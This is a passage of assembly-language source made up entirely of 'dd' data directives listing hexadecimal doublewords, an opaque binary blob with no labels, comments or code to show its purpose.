0BECBAF50h, 9B4A7C21h dd 393080AAh, 8B49BA8Ah, 2C115871h, 50524A83h, 5E2C101Ch dd 8FC1A342h, 4404C8BFh, 5CC40317h, 0F034C665h, 8F21E1F8h dd 0E482E990h, 0AA20E0DAh, 767F4F6h, 0F3322FD7h, 82B8C0AEh dd 0CCB06DD6h, 3C1B4620h, 0DE5890E8h, 4F44838h, 81644BA9h dd 499C8020h, 0B0C2BB50h, 732B2FCBh, 0FCE0085Ch, 0CA49B903h dd 0CE183E96h, 287B510h, 45214A41h, 8ECF911h, 0C2026D46h dd 0F13DFA8Fh, 1CD04910h, 9F42509Eh, 4864ECB4h, 3831AC55h dd 201D9450h, 129D272Ch, 42307448h, 507EFE32h, 0E7438A61h dd 97173C23h, 0B4F0124Bh, 0A9DBF58h, 290A546Ch, 320A5447h dd 2A80C0B9h, 49D63078h, 20485ADFh, 0AF98C708h, 0CC4BACBCh dd 0EC0B95C0h, 9CC1580Bh, 0F4F044B3h, 0D4208F50h, 4249ED6h dd 0CDBC4A0Ah, 5B803C30h, 76C9D072h, 0C5AC4548h, 98456BFh dd 0EC98DEFCh, 0C4A00479h, 0CD803AE4h, 0DC3F2A0Ah, 20DA5B30h dd 947F62F0h, 24A7D40h, 4EE78EC9h, 8CE0C8CBh, 0BC80D19Eh dd 44039727h, 0AD88BE95h, 0FA4F80F9h, 0BCB08484h, 643A9DE8h dd 0A3F8DC60h, 22A73884h, 6BDAD102h, 3860C989h, 0FE802195h dd 98C095E8h, 771673EEh, 94BD68CCh, 684C0C90h, 6840670Bh dd 0E3C11013h, 0A14C24B6h, 0DE7C7601h, 9C04214Fh, 426BCCh dd 271DB7B0h, 28247526h, 7E8A6209h, 0AD149004h, 6750C43Ch dd 11FCF29Bh, 2A0063DFh, 1FE16EF0h, 12FA6029h, 80D0622Fh dd 4B8FCDDCh, 8240DC35h, 312FD1C0h, 344518D4h, 0F0298022h dd 0BC9C7E74h, 0E1FE8390h, 0A6C3568Dh, 80E51009h, 72C8E0CBh dd 288E7AD9h, 9CDDA159h, 1D98A688h, 284EA518h, 0A6232509h dd 0C83CAE9Ah, 7CCA02BEh, 0F5DC7D3h, 21A08481h, 7691E4F0h dd 0B5690FBEh, 2FC5EDA2h, 8196F11Fh, 2A04CF20h, 34243022h dd 0B9752C7Eh, 0B4340BEBh, 0F0E4A491h, 0A100DFD9h, 6C8A0270h dd 9D7BBB7Fh, 1A418030h, 467A5501h, 1B7F80E3h, 942C402Ah dd 0E24DC423h, 0FF97E800h, 89A96CF7h, 627F1B70h, 12A92830h dd 0FF91E05Ah, 0B428A24Bh, 802E4827h, 2A848392h, 101382C3h dd 1C0FA3F5h, 6A8F4249h, 29D48732h, 9207F16h, 6CD4F9F4h dd 0FE8DC28h, 685A4080h, 0C50128E6h, 0CAAB906Ah, 29D15E02h dd 0F2E0D461h, 0B78F258Dh, 4C925082h, 4A058073h, 0ACF7532Bh dd 4F372916h, 0C42A6F8h, 0EAE0C752h, 0FB00B36Eh, 268DA967h dd 49EE7B17h, 34501CC4h, 2149C2Eh, 74AF49B3h, 4A43985Ch dd 0C9009CBFh, 4EC0D53h dd 22415D13h, 0ACBA7000h, 13B40F34h, 49BDFC49h, 0B4CA7BDCh dd 98A78A2h, 54F35B00h, 6AE70EE0h, 0B1567F65h, 478C484Ch dd 989FA978h, 9D8267ECh, 0D001B492h, 804CE649h, 44E4CB90h dd 0B0C51D6h, 0F380F24Bh, 0B2F0C86Bh, 46781371h, 6A0001E8h dd 2BA3347h, 3C16Eh, 0D61B7712h, 0ABF8FD46h, 98428E5h dd 0F2C26929h, 0CCA40058h, 11F47122h, 0C8707F57h, 78B9A092h dd 0DCA02593h, 34554099h, 0D1A7741Fh, 3816E6h, 30886C1Ch dd 0E2D3795Bh, 690C072Fh, 0A00D5222h, 3B99124Fh, 81722109h dd 0E7388016h, 2880A823h, 38B13Eh, 0A98237BDh, 3158031Dh dd 0EB40CA04h, 74D0752Ah, 97A0FCh, 0E7E8E9B3h, 84FAA82h dd 2E91D248h, 66153099h, 6838D0h, 461593C0h, 7205B362h dd 8E489155h, 3B874B56h, 0F829847Fh, 0C8C0007Ch, 21ABF66Ah dd 28A13CA5h, 0C148A037h, 0E2BE9040h, 0EDFFC4E0h, 0EBF8E095h dd 920C00F4h, 0AB64F34Bh, 9005689h, 13A2C8BCh, 7C68C553h dd 80FF0B9Dh, 5871A91Fh, 0C856AF89h, 307F28C4h, 7D102C82h dd 449C142Ah, 11EA026h, 0CA15E13h, 81A0523Fh, 23B988h dd 48E54A47h, 2FA7941Dh, 0C14E9D84h, 7380A968h, 0C0626A9Ch dd 0B9E21900h, 0E87721B6h, 24C54C43h, 809D4102h, 307CBB8Fh dd 2C3B7088h, 45750918h, 0A5170404h, 0CAB040DCh, 0A840928Fh dd 0CBA500DFh, 5D227FB1h, 0E80BB5C2h, 138E7DEh, 0EA379548h dd 9272E0h, 0E070F763h, 0E92280F4h, 0D20470C5h, 8027E40Eh dd 7AD8290Fh, 0E8470A72h, 0FCA532h, 0DE3C755h, 0CF5A6D12h dd 2C53E098h, 44C8C80h, 0B8DF2A7Eh, 6F67058h, 0C05561CAh dd 0F41F3813h, 0CC1635D6h, 0CABA3041h, 0D8850D61h, 91646B80h dd 0E0FAD1BCh, 6BE3A21Bh, 0C8B98030h, 8FC8A218h, 2F2BE824h dd 0CC00C0ABh, 0A976792Ah, 0FC07A491h, 0EDB38168h, 0B100033h dd 164278FAh, 36092287h, 58DC80F5h, 4E58AC80h, 244898EFh dd 29A6A809h, 2004C048h, 9B0E03ACh, 195808Bh, 697A4000h dd 0D58DE864h, 83CBC2Bh, 939E7DCh, 40CC9042h, 16761284h dd 995D2DCEh, 0F8042E9Ch, 7CFC998Fh, 0CD808C02h, 0EC40CBA4h dd 580E94ADh, 18E1905Ch, 1C591120h, 96CC2AD5h, 80C4802Eh dd 2F80467Eh, 6049132Ch, 8F40819Bh, 0CE3C75C6h, 2A1080D8h dd 0FB023C94h, 81518FCCh, 523CA05Fh, 0B6A51590h, 0CAE8E7D0h dd 0B68B0B58h, 0A10FCE4h, 290CE969h, 1930BCC3h, 0E3B36503h dd 0FA0ADFFEh, 3CD8F9CDh, 31ED0618h, 28812E8Eh, 733FCC2Ch dd 0E85CEAC0h, 0DBAD02A0h, 0D46C11B6h, 0D5F50130h, 68689204h dd 83EC897Ch, 0C5B65B98h, 6474348Ch, 0E4FA108Ch, 5A781378h dd 6DF80B82h, 44699C24h, 0D228377Fh, 0F0D60A58h, 307BB2BFh dd 27B040E3h, 1D9C0382h, 2FCD7D8Ah, 5C80FD88h, 484A8B40h dd 73068D6h, 6CDE7B79h, 68F33Ch, 98047D2Ah, 250A674Bh dd 4810CE8Fh, 0D00022E0h, 6C91BF57h, 251052C3h, 6040D7F5h dd 0C0CC99CCh, 5E9E11C4h, 919447B6h, 5F922154h, 0FA6860D6h dd 11D6F250h, 0A700C2F8h, 407D21C7h, 2D0C3541h, 0E0B8052Dh dd 9280FDFEh, 72010976h, 285CCD77h, 792F818Bh, 48E72D4Ch dd 4CEA88h, 0DF41D6D1h, 1B059A45h, 795C7F76h, 77C2B4BCh dd 80E88C2Ah, 0DBA0D81Ah, 0A1CA9D7h, 8F4EE9A8h, 47985820h dd 2F790527h, 0E5042B1Ah, 0D8882480h, 0C49632F8h, 1A680B69h dd 0BD7884B4h, 9A29C4C3h, 88087582h, 8BBB9E98h, 0E0EE2879h dd 52289895h, 9231F680h, 0BB1E3E54h, 0D88286B8h, 84C74678h dd 9ECC37E0h, 18BE00B0h, 39362760h, 34C7EC2h, 3AD5B21h dd 0D6E0F9EDh, 51EC0EDBh, 196B220Fh, 8F68224Eh, 45D4443Dh dd 89F929h, 2D0F7192h, 14C6BD27h, 1B99B720h, 28696A29h dd 0A50FD00Ah, 8F8414B9h, 9100FF22h, 0E420684Dh, 0FB37560Ch dd 6098BFh, 6BDCAC0Dh, 93A77D1Ch, 614A1715h, 86A200A8h dd 8F2956BDh, 0F4009743h, 7C67A5BAh, 0F9B6C506h, 26F066E9h dd 84508D8Fh, 0B32C7DACh, 0C4E800FCh, 7362763Ch, 659102A9h dd 0CC8C89DFh, 0D616BC40h, 120EEF01h, 2EE7CF6Eh, 1D8B4060h dd 0B0E4AC2Ah, 877585B8h, 9307B87Ch, 8DBF0E12h, 79C34C40h dd 0D1CF00D4h, 41579F60h, 73001C28h, 0F172A1DDh, 129E1CAh dd 8A0ACCB2h, 20687F5Ch, 0E4256172h, 7E1C4417h, 89381DDFh dd 6C85A580h, 179CF02Dh, 53002496h, 1415FEADh, 538E5A90h dd 80F424CCh, 0CBECD360h, 0F7BBD600h, 9E200AD7h, 80565B7Ch dd 0F82D6580h, 2F273902h, 0C0BCC223h, 50285FF5h, 0ECFA08D7h dd 0F5302A8Fh, 0D49B9FE0h, 0C5891E2h, 5029B316h, 10DCBC0Eh dd 2E71127Eh, 25883805h, 1C638582h, 0C4E48F2h, 0B670FEFCh dd 711F440h, 36E7CD7Eh, 98B10A8h, 9000A9EFh, 0A7F8C858h dd 1940FAD5h, 79162A8Ah, 1C422AFBh, 0FCAC8FF9h, 0C58047C8h dd 4F385238h, 929EF618h, 23904051h, 635EBB42h, 0BC00AC94h dd 8820051Fh, 91E800BFh, 5CB5CB17h, 0EC60A62Ah, 90A0F970h dd 51813CBEh, 8FCF5860h, 0A099D1E6h, 125846ADh, 0B279534Ah dd 0A3F5017Ch, 0D57008C9h, 7A98080h, 7A620521h, 50C1AF00h dd 4A0C8CA7h, 0F040B557h, 9E02B81Ch, 28FD695h, 937048F2h dd 0D04A80D9h, 0B41C80B7h, 2DCA3957h, 8641EF2h, 30472A26h dd 0E06000E9h, 7365220Fh, 4CA50041h, 27C2ADBCh, 0CA1F9628h dd 7DC0795Eh, 0E0E650ECh, 4538288Fh, 89B913A4h, 7F48E4D2h dd 655BA972h, 0F945C820h, 301895CAh, 989725B5h, 5433C7B0h dd 304A506Ch, 0E1105B60h, 10B9348Dh, 382636h, 0F0B6671Ch dd 0A48180BFh, 8CDC50F5h, 140B70F2h, 497A0F1h, 0F703FC8Ch dd 0E0C27BD1h, 0C1A64868h, 7CDF8F51h, 2A7F855Ch, 1200EC6h dd 0BD1A8E1Dh, 3F3180ADh, 926D9800h, 20EC4Bh, 0FFA0B546h dd 0F05F21C0h, 8DBB105h, 0F0A02D8Fh, 9190042h, 38F3C903h dd 0EB06BFF5h, 992AF66Ah, 1370F291h, 0E7DA7B90h, 0D85858h dd 604CD24Ah, 3F1D6392h, 40055342h, 31E46E5h, 0F9038008h dd 242C9CE5h, 8B25B090h, 418002AEh, 0DDC90F17h, 0B0606C7Ch dd 5A6F19F0h, 298C30FAh, 0C780E616h, 504C4817h, 30641ECBh dd 0C413349Eh, 93F9F080h, 533AFD9Ah, 0A858CC48h, 2D61867Ah dd 8FAA8018h, 1DDA2880h, 7616CF81h, 94F73500h, 84F1A605h dd 93CB8E6h, 8F852AE9h, 6A009CD9h, 755E9D57h, 0ABF63EC7h dd 92A4C50h, 28F1907Bh, 0FFBD4080h, 3C00E0D7h, 0A770F88h dd 7627CE76h, 3BD982Eh, 0BEF2AA42h, 0ADE46929h, 0EEE1070h dd 0A52AE71Eh, 0E89E0874h, 0FF58C0E5h, 17D8915h, 0C88E8630h dd 0E8002229h, 4FAC218Fh, 592A1B0Ch, 27F358D1h, 0A443D280h dd 0E1FAD7C0h, 0AC90E524h, 0CCC02035h, 54124A11h, 2493FCBBh dd 210BD7Ah, 627F4C89h, 5E6CE257h, 0AB7C810Ch, 0D26B4ECAh dd 38B018F8h, 289E0CE2h, 29296h, 77C5744Fh, 39976403h dd 0F2936AE1h, 695A1082h, 0F8028A10h, 0CC878B3h, 0FB851FECh dd 1C2C2168h, 5D3C1946h, 80E638C8h, 0CD8C517h, 720D65DAh dd 0E0AB608Fh, 0BD0F45DEh, 0F58A6612h, 54FD3009h, 0B0639620h dd 83096B98h, 99CFDEA9h, 0B89DE838h, 0C038D7FEh, 0A82C9F44h dd 6ED7F03h, 3CE6798Fh, 9E012061h, 90538984h, 77F86DD6h dd 98CAC24Eh, 1B43D101h, 78EF998Fh, 0C8029368h, 0E1300C37h dd 402E3DE9h, 21BAF0B4h, 4B028959h, 3BA7D34Eh, 11EEC149h dd 0E158992Bh, 0BD5620CBh dd 0E400FD75h, 0BF1C8119h, 98C84891h, 80E21227h, 0E7D080E8h dd 0FCEFA42Ch, 0D413A22Fh, 0E01D4878h, 0FF4058F0h, 1E491D92h dd 0CEB14208h, 385EA88Fh, 25A5ED01h, 34EDE4C0h, 397346ECh dd 8780AB0Ch, 776A4ADEh, 7461E0D6h, 0EC52A11h, 3C3E6C34h dd 80129231h, 4FF080B9h, 29FD2BC4h, 1AA70950h, 41D8F1FFh dd 6853638Fh, 594500C4h, 0E89FEE4Bh, 884D00EBh, 4A4E15CBh dd 21BF4CB4h, 0EECFDD48h, 4B2B2AE0h, 9A9C8C0Eh, 4270140h dd 6F11807Eh, 3D08B29Dh, 781C4A29h, 1E904482h, 4C459A6h dd 7DCB18Fh, 51191BACh, 45958858h, 0BE6B2100h, 1208B7F8h dd 16FD23A7h, 4C0CF2FCh, 0F4286026h, 9CED8FCBh, 78242F74h dd 3D9CB472h, 2C2E140h, 4A1731A6h, 84568104h, 0DE7B09h dd 8A55C836h, 251CFA79h, 8860E57Ah, 4C00D307h, 0B9EB688Fh dd 20EA2F7h, 0A7F3B6BDh, 48E9FF1Ch, 600E7E90h, 12018089h dd 0B0E1C964h, 5459005Ch, 79236F92h, 0A8A0D8A4h, 0D73AB312h dd 0C15C0BFBh, 8878047Ah, 325ADF00h, 0D1014791h, 0D78A2422h dd 77F054D8h, 0E24CF80Fh, 0FC3C0957h, 3CAE8D80h, 0AC4A41A1h dd 0E4D0A6BCh, 0B8BA38h, 5E227650h, 7C9D9FFCh, 0D3CF001Dh dd 21A4FD0Dh, 941F967Eh, 300FF15Fh, 0A380807Ch, 9A4E3E49h dd 8603F688h, 0F842AE26h, 50007896h, 9EBB04CDh, 0D243080h dd 49BA0C18h, 208EEF2Ch, 0A9822A7h, 44440A33h, 0C77E427Dh dd 0F5D0A2AEh, 0A7A10043h, 45F2487Ah, 30AC5CBBh, 0D255983Dh dd 878610h, 3CF297BFh, 0BF04460h, 0CD2A620Ch, 222015h dd 4C743B73h, 4FB69069h, 930E80D3h, 0EDD16067h, 26E6B2Ch dd 3999FAADh, 82E047A5h, 0FF4E7F74h, 8A772080h, 0E4CA2E41h dd 7B66268h, 5028F432h, 80BD1280h, 0D9F10A04h, 8FB62564h dd 22003CEEh, 0A48B26A7h, 9C9307Eh, 429A68F9h, 0E84080DCh dd 629837E7h, 18A5F8A6h, 920194C6h, 1F0E4B57h, 172BA0D0h dd 518FC04h, 642B396Ch, 0C4004CAh, 26DF244Ah, 148F80ECh dd 69B4335Dh, 0D47F6C2Dh, 3AAA8000h, 589580FBh, 0B443D8DDh dd 7233F49h, 822B8D39h, 0F62AC3D9h, 7F00D186h, 0C5A74483h dd 3B64CA27h, 21BE3A26h, 0BEEBF00Bh, 0B8B2F50Eh, 785049F4h dd 447DBF26h, 20CE8CACh, 0E1D244A4h, 2070B547h, 24E3BB5Ch dd 620C301Dh, 34886Eh, 25FB5986h, 68D29F7h, 0D6EC5800h dd 6D499814h, 166201CDh, 60E07DD7h, 0C242AA2h, 446F9CA1h dd 12014338h, 0AC0B4885h, 7EF0C064h, 0C0939592h, 853650E1h dd 0A4292518h, 41B110F8h, 440C00A1h, 0D920D29Dh, 684AC8h dd 8CE862DBh, 0AAF407h, 0A86F1382h, 791F1589h, 0F329A908h dd 5C4A06DAh, 0CC4C4883h, 0E43C1018h, 0BEE96000h, 0CD0C8FDh dd 0A848DAE7h, 0F380440Dh, 7C3609AEh, 0F4001322h, 9FCE4DDh dd 0A60F5DF0h, 81EDA04Eh, 0F3AFC428h, 0D452D0A5h, 955EEC02h dd 0C0F1671Eh, 162A719Ch, 44E8D1A4h, 0C8DDD62Ch, 790911C4h dd 63098FCDh, 0E4A6EB50h, 0B89F8446h, 3F8BE703h, 985DD692h dd 17A424Dh, 846A94A0h, 63F281A9h, 0E0D40000h, 21A3B139h dd 7A5E0769h, 0E62768CEh, 14907AC9h, 0CB8F6412h, 0B49128B0h dd 0E4E04BC8h, 0F900EB0Eh, 0CF6A21B5h, 0F8FC77A6h, 0FEAA242Ah dd 5091A5C0h, 99B3F37Bh, 0AF521900h, 2766BAAEh, 6229021Bh dd 718198DFh, 1CA4F858h, 100820h, 99A505A9h, 37D08FE3h dd 7431685Bh, 2402D3FAh, 6B15B4E1h, 0C8619C29h, 42053022h dd 0E14F764Ah, 18282BB8h, 0EBD33029h, 0A1EFA5A9h, 0A7E0E301h dd 0F07D21D7h, 102D1182h, 3499042Ch, 8348229Eh, 7297AE0Ah dd 0F8394059h, 0E4E086D2h, 491F084Fh, 6727AF99h, 77550320h dd 54C90409h, 1398277Ch, 0F0A38320h, 819510h, 17C4E1DFh dd 91C4853h, 96740344h, 0BF9C2C80h, 1B00AFA0h, 0B295E773h dd 5EC700Ah, 0A7CD806Ah, 9EE0C1C3h, 8FE260AFh, 0C08C2230h dd 485C91BEh, 8805C77Fh, 0C093D216h, 51310168h, 47126609h dd 5D8064C3h, 6D18848Bh, 49BB10FBh, 0D8305Dh, 8E0C82A8h dd 2C2676A6h, 6FCA0D1h, 20773449h, 78BE9A05h, 0A8A91CFBh dd 0FC4A8F15h, 0E8FD4815h, 0B1924C95h, 59583938h, 898A31A0h dd 84317C3Bh, 7A40992Eh, 7831F849h, 60E11C3Ch, 1203C087h dd 0B8C07F59h, 0FCA81C96h, 54D4724Ah, 0D7D8D8C0h, 76131D81h dd 6979E27h, 98A9888Fh, 7EC8C027h, 20909C98h, 0D6017498h dd 1C06D1F8h, 4A30E780h, 38874C91h, 72FA5210h, 788F6E0Dh dd 0C31B043h, 409F7E61h, 46BD0CE0h, 423C8A18h, 81712FC9h dd 4FC52964h, 0B73E874h, 1FBF6D37h, 12E31CE8h, 3906C82h dd 0DB755187h, 35B380C8h, 304B204Bh, 0F458CDh, 0E84CCB22h dd 6B2A8494h, 660C26B0h, 51471D7Fh, 0E140122h, 602A1257h dd 606F3180h, 0CF1E58D1h, 0D139EC68h, 4DB09308h, 0A48C74C2h dd 0C08075C0h, 0AC459E5h, 2329AA7Dh, 80FF85D4h, 3FC4F817h dd 0AC3FA53h, 2903F2Ah, 8FD7FBC0h, 0A05D27F4h, 2BF31D98h dd 0FA3827D4h, 987DA084h, 7B01D8D0h, 0A8F7BDDEh, 8C31EE57h dd 55D9420h, 0A0F3AD59h, 0A0DCEC8Fh, 0B17F354Ah, 0BFD913CCh dd 808AC707h, 0CB227DB2h, 0D6300458h, 0FC6F2A78h, 0E963E20h dd 0C09D3C5Bh, 674069E3h, 9228248Fh, 0FA4C9D5Ch, 99CDF285h dd 9CBC81A8h, 0CEA89EFFh, 0A4F5C740h, 946A0Eh, 0FD2F4FE4h dd 43D727DFh, 3D5FF302h, 50AC80F4h, 4B0A710Ch, 82D027ECh dd 0C48EE1Bh, 0F5810F79h, 0C3223032h, 5F6C801Bh, 98110F40h dd 37C9C199h, 620970D9h, 0D79410ABh, 1F2A1B76h, 80E85036h dd 0A72429BFh, 69813C74h, 0C342A101h, 8A14287Bh, 9B9F6005h dd 0B0779690h, 78A42CC5h, 17D8AC01h, 49749780h, 68418C90h dd 1420AF98h, 1070E56Ch, 38A8C955h, 4A44BC25h, 8714E7A8h dd 5983C742h, 73304C58h, 0CFAF3C9Ch, 24490F9h, 0D88749B2h dd 0B8D4AE2Ah, 9229802Dh, 0F0B0F4Bh, 8D40D3E6h, 2F08630Ah dd 0A6480C14h, 0B27F0042h, 77605E29h, 0E6430C89h, 0A11014E7h dd 1B63901Dh, 9900131Eh, 35FA77B5h, 9174004Dh, 8A67453Ch dd 82F02C04h, 77AA5601h, 38157E3Ah, 8F754080h, 0D424048Dh dd 50E7A53Bh, 0B57C882Ch, 0DFFA0900h, 20BE4C23h, 92340075h dd 0C4A63D9Ch, 45010B2Ah, 8E1B6597h, 388E9BA7h, 5F601EBAh dd 0D9D0EC06h, 68511160h, 0A59C67h, 0AA5B2377h, 0B326690h dd 690EB5ECh, 3D7E1B81h, 60A1B480h, 3820C28h, 4974459Dh dd 0E0038907h, 24299166h, 1FF000C5h, 0BBC1AD28h, 0A0E90A7h dd 0A0A47861h, 0EC465B56h, 0A33F01A0h, 5EDE48B3h, 5561C810h dd 0CBF97400h, 6728FC8Eh, 2ABE07A1h, 80BA4503h, 0A5CA2779h dd 613B0CBh, 0F078AA60h, 5CC83E8Eh, 0A2DDA00Eh, 2145CEC0h dd 2203F75Ah, 0F08E3E08h, 283877C0h, 28C49C71h, 18205B21h dd 59A02926h, 277F5657h, 48063D75h, 2D589154h, 0E5E729F0h dd 58281DC0h, 0C2C63029h, 9FC080F3h, 9B4977ADh, 7F10C352h dd 30003B31h, 642AC6A6h, 65827C2Ch, 82B48E5h, 102A91D0h dd 488B8080h, 0C51D769h, 7C2E4147h, 7B9E3536h, 44741018h dd 1B18963Eh, 0D57FA054h, 77D0B350h, 98A2E605h, 841DBEFAh dd 7E4B1081h, 2083BBBAh, 17D82979h, 7FF67805h, 844A4D38h dd 7D64B0D6h, 82045420h, 499C3750h, 8847DE30h, 0C05220h dd 89F9A231h, 3E4ECF62h, 45142BF8h, 12B022BFh, 841E128h dd 0A3D17FEEh, 0DF748083h dd 4AA11FEDh, 8DE1F0E3h, 841A00F9h, 5B9E2830h, 0F2D801F0h dd 252EB302h, 2958862Ah, 2450CB0Bh, 1DA4E7FCh, 62C34270h dd 0A8806489h, 0AFF704A5h, 26313F0Ah, 2912682Ch, 0E5DF2400h dd 3CB55AF3h, 1400DB20h, 6F10CF86h, 10C5CCA1h, 0C23F321h dd 29383E2Bh, 0C94877B0h, 0F8A955FAh, 44E8EBBDh, 0D849D70Eh dd 8E8061CCh, 1086AFA4h, 40132AB5h, 0B082E7E4h, 48BE8E3Ch dd 0DE007425h, 63CDC1CEh, 867BA421h, 4E2635E4h, 0F7153032h dd 5C560FDCh, 745D8682h, 984A7486h, 8442018h, 2039A600h dd 19ADCD7Dh, 1D3892E2h, 32DA8ED7h, 8892D290h, 4601FA81h dd 3402218h, 1D29F167h, 0C710007Ah, 8663D6D7h, 0B93B0851h dd 297C06A9h, 4820470Eh, 0FC54B81Ah, 48BF0CFFh, 9F10A637h dd 1C1FA0C0h, 0F0814F22h, 9D8F01A2h, 0E0297104h, 4C61BE6Fh dd 63490C38h, 839E38FAh, 4304C8C1h, 211035B0h, 0C11F855Ch dd 0AFF0804Eh, 0FE8D4D67h, 701B6E00h, 210B86A6h, 26E4007Eh dd 0CBA740B3h, 0E31CCAF8h, 4242E0F1h, 48C42D28h, 2A8F48F0h dd 2EBC2670h, 3FEEF5FFh, 7C2D247Ch, 0FC4550F4h, 0E43D8882h dd 3FC9EA08h, 668EA506h, 0BF0B2880h, 452328h, 0DD7AD646h dd 323900CAh, 0B17220BBh, 253933ABh, 8F823D26h, 81217117h dd 0C15709B4h, 0A1D5F0h, 0ED6462FAh, 4CA89AE7h, 45AC5102h dd 890C3F49h, 711C2A88h, 0C84C6030h, 49050A97h, 18909F25h dd 7F6120E4h, 6660B60Fh, 7DC95A7Eh, 274680C0h, 0C8F0D148h dd 8376477Eh, 0B8F004D5h, 0E8C61B2Eh, 299740h, 766AC2A4h dd 0E2A871F6h, 33882654h, 0FE9781h, 9DAD7EEh, 47E27FFEh dd 58E5F12Ch, 88029C22h, 488ED463h, 0D11C4041h, 0E61F0B46h dd 1004A92Bh, 96A80214h, 9C58C04Dh, 0D8D0A021h, 0C4D103B4h dd 0FF3148C2h, 8FE6B000h, 56FAF271h, 2F5D2629h, 0BBE780C4h dd 8ECD9142h, 40328332h, 1B06690h, 43C1E71Fh, 347041FFh dd 823E14ACh, 33B400A8h, 8DD84A11h, 29510C83h, 2B380485h dd 2A453B2Eh, 7B3D3E3Ch, 1C184B65h, 0E4E72C00h, 3F25881Eh dd 0E6941107h, 0BD13088Ch, 8F200C26h, 0BB308E50h, 0FAC6D934h dd 897D1F01h, 0F903C951h, 5E8818A3h, 0A7955C7h, 41D8DF94h dd 1B96149h, 6C3124CEh, 5E4B449h, 0E7F30F1Dh, 800F8E90h dd 9C5811E3h, 16E8204Dh, 0B053FB41h, 0CA293C42h, 7FFC0034h dd 88AA4EF5h, 3BB6F440h, 99731A0Eh, 8758C87h, 1F4301D0h dd 0CC482E2Bh, 0E148244Dh, 18271424h, 3889C95h, 8F7E5826h dd 6AF010B5h, 0BD637533h, 0D75B10h, 9DC7B7D0h, 0A8C9B5A7h dd 28674274h, 1185449h, 400378A0h, 0B2342021h, 0B102A303h dd 805920BDh, 2410BC16h, 0EFD8142Ch, 0E89C5546h, 540BB493h dd 8260096Ch, 913C9318h, 0A830F7C8h, 4A8E138Ch, 44E0429Eh dd 0E0E6EAE6h, 406B6443h, 855E004h, 91921034h, 7FF81FB0h dd 9403718h, 0CFB58C7h, 0F2302EC1h, 9905DBADh, 33FA3BA6h dd 0D054080Ch, 587C9837h, 0BC2A6893h, 1EBB008Ch, 0A4C748DBh dd 8BFBED7Fh, 8964A030h, 0B09422C4h, 864CC910h, 8203E430h dd 6CD93440h, 0A6F3B202h, 865A203Ch, 60587C08h, 0A267E165h dd 0FF65B729h, 0B8815F10h, 0DC41AD8Fh, 70965842h, 0BB6841AAh dd 0BC74B1C9h, 0A4B85171h, 0D5629CA8h, 49890032h, 4600917Ch dd 80CA16CEh, 3BF98E7h, 28A6E6D1h, 28123B25h, 0B4020C93h dd 605404BAh, 0F7B37FC4h, 3C207C61h, 42FC45B1h, 0A88E97C8h dd 0DED0F052h, 0A9A4800h, 0BD1BD244h, 895E00CAh, 67917F52h dd 0A97D20D3h, 0A06041EEh, 0C2297E50h, 0C4E382E0h, 98309FC1h dd 53385E11h, 26E53857h, 0BEF83E81h, 0C8744188h, 63002449h dd 729B46CCh, 3EA2CB20h, 9E3DE54Ah, 789C767Ch, 4B833CA8h dd 6137CF38h, 18D7E018h, 0DB4CD18Eh, 0A0C900A2h, 17AD3EE4h dd 0EC9500AFh, 0D172466Eh, 453C154Ch, 0C0849E68h, 704D18B1h dd 0A0E32447h, 22180041h, 6A1AD166h, 39013291h, 516183Bh dd 0DCD0C0AEh, 71300CF7h, 0ED38C719h, 5DB4B000h, 0D1E5C2A9h dd 0E450CF2Fh, 9034888Ah, 3A2EC40Ch, 0AA10C900h, 0D6DFC5CAh dd 0C719EE18h, 0CF39C0DEh, 2CE70C8h, 0B96D270Ch, 73610EEh dd 47DED05Eh, 2FE7F3DCh, 95055803h, 7BFE20E5h, 0AFCB0C68h dd 6D817354h, 9D579701h, 244E4583h, 7218F200h, 16264418h dd 0F3E2AF10h, 585031BEh, 206A06E5h, 695DC371h, 85BBBE01h dd 4D80C702h, 0D30130BEh, 58646A3Ah, 0D1108F1Ch, 0A0B81412h dd 31610843h, 0C7F830C9h, 0D12040D8h, 0E5106A2Ah, 983B384Bh dd 6918A43Ch, 684910E2h, 8931267Ah, 6A627139h, 187A544Ch dd 89B9A20h, 0CF60E971h, 0FFF6DE18h, 10F8C009h, 74893D6Ch dd 0F8DCEC00h, 2977B198h, 0B971316Ah, 0C8CDC049h, 7B3245AAh dd 8041B83Fh, 0E515D4D4h, 0B1E66134h, 4083C443h, 4B7BCB60h dd 2A24701h, 0FCFFE522h, 14450424h, 0EC49BDF4h, 0F7CFE200h dd 7B0918DEh, 784D4E00h, 0EECB517h, 6A960104h, 0E9AFA349h dd 0FD589E40h, 0D740D068h, 4598A0CAh, 0FFDD382Ch, 0FEF3B181h dd 0D0D1F6C9h, 4AE480C1h, 1E72E9E6h, 70196138h, 27AEFF6h dd 36C00774h, 5C240487h, 0AA3670Fh, 0D0E6E39Ch, 0BC641C39h dd 11DE3032h, 7202E0C0h, 0C2881F2Ch, 74814C58h, 3CDE8F56h dd 1065A80Ch, 1F17E01h, 910C68C1h, 0D7875E6Ah, 49D82210h dd 5BF83870h, 4E2CF01Fh, 52405A66h, 88E3B050h, 3D5EC663h dd 57819E1h, 442D3504h, 895C0C05h, 0F116B158h, 5B01C830h dd 76E2E9C3h, 0C5812680h, 0DB298D73h, 5DEE0104h, 5CC0F331h dd 1D685BD9h, 3E275456h, 8BCD290Ch, 0C401834Ch, 1C6F0904h dd 1FE734FFh, 68815D07h, 0B0E91940h, 0D85B0A64h, 0AAC7EE0Ah dd 81C1C380h, 144302ECh, 51D8ED7h, 0B60F27EBh, 87980FC0h dd 8EAD31CAh, 332BF681h, 0D6F77982h, 47BD5743h, 327DE2D8h dd 0F86281C2h, 14DE504h, 0E80B44B9h, 0FA8029E1h, 8632B605h dd 503E5620h, 5A7705B8h, 0A7008914h, 5378CE81h, 4E5F0CD4h dd 0F7BFA5E9h, 0ED06DD7Eh, 62F632BEh, 1B3F000Ch, 0EF3146C9h dd 4C6560E9h, 8F1E332Ah, 2A49E4AAh, 18523B3Bh, 89220B34h dd 0FE54FC14h, 120A6597h, 0ECAA2066h, 1C638904h, 1E18A53Ch dd 0C75DEA31h, 0C0C15AD1h, 26E18108h, 6B581C1Eh, 0B5053D7Bh dd 170D5FC3h, 668152D3h, 81E68956h, 0A1C949C6h, 119BBF4h dd 0DC4033F4h, 0DAD9F7E9h, 1B883CACh, 10423AD0h, 2907F00Dh dd 60575AD7h, 8B042474h, 0FAAC3C74h, 0E95C73A8h, 53F95030h dd 0E809EF68h, 926FF65Fh, 9881766Eh, 4F471FDFh, 67030C50h dd 24718B18h, 585254F2h, 0B9625442h, 870C49F2h, 0E4F75110h dd 0DF9930E9h, 66D83068h, 891CB1F8h, 